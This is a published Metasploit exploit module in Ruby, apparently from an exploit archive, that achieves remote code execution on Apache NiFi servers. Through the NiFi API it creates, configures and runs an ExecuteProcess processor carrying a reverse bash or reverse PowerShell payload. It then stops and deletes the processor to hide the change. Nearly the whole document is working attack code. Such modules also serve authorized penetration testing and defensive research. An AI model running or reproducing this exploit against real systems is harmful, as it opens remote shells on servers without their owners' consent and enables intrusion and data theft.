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Apache NiFi API Remote Code Execution

Apache NiFi API Remote Code Execution
Posted Nov 28, 2020
Authored by Graeme Robinson | Site metasploit.com

This Metasploit module uses the NiFi API to create an ExecuteProcess processor that will execute OS commands. The API must be unsecured (or credentials provided) and the ExecuteProcess processor must be available. An ExecuteProcessor processor is created then is configured with the payload and started. The processor is then stopped and deleted.

tags | exploit
MD5 | 7f93306aa6b4030f2a6b69fe4206bed0

Apache NiFi API Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Potential Improvements:
# Add option to authenticate using client certificate
# Add a scanner module?

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(
info,
'Name' => 'Apache NiFi API Remote Code Execution',
'Description' => '
This module uses the NiFi API to create an ExecuteProcess processor that will execute OS commands. The API must
be unsecured (or credentials provided) and the ExecuteProcess processor must be available. An ExecuteProcessor
processor is created then is configured with the payload and started. The processor is then stopped and
deleted.',
'License' => MSF_LICENSE,
'Author' => ['Graeme Robinson'],
'References' => [
['URL', 'https://nifi.apache.org/'],
['URL', 'https://github.com/apache/nifi'],
['URL', 'https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/1.12.1/' \
'org.apache.nifi.processors.standard.ExecuteProcess/index.html']
],
'DisclosureDate' => 'Oct 3 2020',
'DefaultOptions' => { 'RPORT' => 8080 },
'Platform' => %w[unix linux macos win],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => { 'BadChars' => '"' },
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
],
[
'Windows (In-Memory)',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/nifi-api']),
OptString.new('USERNAME', [false, 'Username to authenticate with']),
OptString.new('PASSWORD', [false, 'Password to authenticate with']),
OptString.new('BEARER-TOKEN', [false, 'JWT authenticate with']),
OptInt.new('DELAY', [true,
'The delay (s) before stopping and deleting the processor',
5]) # 2 seems enough in my lab, but set to 5 for safety
],
self.class
)
end

def check_response(description, response, expected_response_code, item = '')
# Check that response was received
fail_with(Failure::Unreachable, "Unable to retrieve HTTP response from API when #{description}") unless response
# Check that response code was expected
if response.code != expected_response_code
fail_with(Failure::UnexpectedReply,
"Unexpected HTTP response code from API when #{description} " \
"(received #{response.code}, expected #{expected_response_code})")
end
# Check that item can be retrieved
return if item.empty?

body = response.get_json_document
unless body.key?(item)
fail_with(Failure::UnexpectedReply, "Unable to retrieve #{item} from HTTP response when #{description}")
end
body[item]
end

def supports_login
response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') })
config = check_response('GETting access configuration', response, 200, 'config')
config['supportsLogin']
end

def fetch_process_group
opts = { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'process-groups', 'root') }
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
response = send_request_cgi(opts)
check_response('GETting root process group', response, 200, 'id')
end

def create_processor(process_group)
body = { 'component' => { 'type' => 'org.apache.nifi.processors.standard.ExecuteProcess' },
'revision' => { 'version' => 0 } }
opts = { 'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'process-groups', process_group, 'processors'),
'ctype' => 'application/json',
'data' => body.to_json }
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
response = send_request_cgi(opts)
check_response("POSTing new processor in process group #{process_group}", response, 201, 'id')
end

def configure_processor(command)
cmd = command.split(' ', 2)
body = {
'component' => {
'config' => {
'autoTerminatedRelationships' => ['success'],
'properties' => { 'Command' => cmd[0], 'Command Arguments' => cmd[1] },
'schedulingPeriod' => '3600 sec'
},
'id' => @processor,
'state' => 'RUNNING'
},
'revision' => { 'clientId' => 'x', 'version' => 1 }
}
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'processors', @processor),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
response = send_request_cgi(opts)
check_response("PUTting processor #{@processor} configuration", response, 200)
end

def stop_processor
# Attempt to stop process
body = { 'revision' => { 'clientId' => 'x', 'version' => 1 }, 'state' => 'STOPPED' }
opts = {
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'run-status'),
'ctype' => 'application/json',
'data' => body.to_json
}
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
response = send_request_cgi(opts)
check_response("PUTting processor #{@processor} stop command", response, 200)

# Stop may not have worked (but must be done first). Terminate threads now
opts = { 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'processors', @processor, 'threads') }
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
response = send_request_cgi(opts)
check_response("DELETEing processor #{@processor} terminate threads command", response, 200)
end

def delete_processor
opts = {
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'processors', @processor),
'vars_get' => { 'version' => 3 }
}
opts['headers'] = { 'Authorization' => "Bearer #{@token}" } if @token
response = send_request_cgi(opts)
check_response("DELETEting processor #{@processor}", response, 200)
end

def check
# As far as I can tell from the API documentation, it's not possible to check whether the required permissions are
# present unless "permission to check permissions" is granted. For this reason it reports:
# * "Unknown" if a timeout is experienced when checking whether login is required
# * "Safe" if the response to the login check is not one of the two expected responses because it's probably not
# NiFi
# * "Detected" if login is required, because it has confirmed that NiFi is running on the port becuase it got an
# expected response
# * "Appears" if login is not required because it has confirmed that Nifi is running because it got the expected
# response and if there is no authentication then there is no way of restricting the ExecuteCode permimssion

@cleanup_required = false

response = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'access', 'config') })
if !response
CheckCode::Unknown
else
body = response.get_json_document
if !body.key?('config')
CheckCode::Safe
elsif body['config']['supportsLogin']
CheckCode::Detected
else
CheckCode::Appears
end
end
end

def validate_config
return if datastore['BEARER-TOKEN'].to_s.empty? || datastore['USERNAME'].to_s.empty?

fail_with(Failure::BadConfig, 'Specify EITHER Bearer-Token OR Username')
end

def retrieve_token
response = send_request_cgi(
{
'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'access', 'token'),
'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }
}
)
check_response('POSTing credentials', response, 201)
response.body
end

def cleanup
return unless @cleanup_required

# Wait for thread to execute - This seems necesarry, especially on Windows
# and there is no way I can see of checking whether the thread has executed
print_status("Waiting #{datastore['DELAY']} seconds before stopping and deleting")
sleep(datastore['DELAY'])

# Stop Processor
stop_processor
vprint_good("Stopped and terminated processor #{@processor}")

# Delete processor
delete_processor
vprint_good("Deleted processor #{@processor}")
end

def exploit
validate_config

# Check whether login is required and set/fetch token
if supports_login
if datastore['BEARER-TOKEN'].to_s.empty? && datastore['USERNAME'].to_s.empty?
fail_with(Failure::BadConfig,
'Authentication is required. Bearer-Token or Username and Password must be specified')
end
@token = if datastore['BEARER-TOKEN'].to_s.empty?
retrieve_token
else
datastore['BEARER-TOKEN']
end
else
@token = false
end

# Retrieve root process group
process_group = fetch_process_group
vprint_good("Retrieved process group: #{process_group}")

@cleanup_required = true

# Create processor in root process group
@processor = create_processor(process_group)
vprint_good("Created processor #{@processor} in process group #{process_group}")

# Generate command
case target['Type']
when :unix_memory
cmd = "bash -c \"#{payload.encoded}\""
when :win_memory
# This is a bit hacky because double quotes are processed and removed by the NiFi ExecuteCommand processor. See
# below for why BadChars didn't cut it. The solution used is to wrap up command in a cmd /C "payload" command and
# use powershell's Stop-parsing token (--%) to remove the need to perform any escaping of metacharacter. This
# command is then base64 encoded and run with -e/-EncodedCommand. This allows commands including double quotes and
# dollar signs (etc.) to be passed to cmd.exe
#
# This method was chosen rather than using
# BadChars => '"'
# with
# cmd /C "#{payload.encoded}"
# because commands such as
# echo x^"x >%tmp%\x
# did not work with the BadChars method ("^" is the cmd.exe escape char)
enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))
cmd = "powershell.exe -e #{enc_cmd}"
end
vprint_status("Using command #{cmd}")

# Configure processor and run command
configure_processor(cmd)
vprint_good("Configured processor #{@processor} and ran command")
end
end
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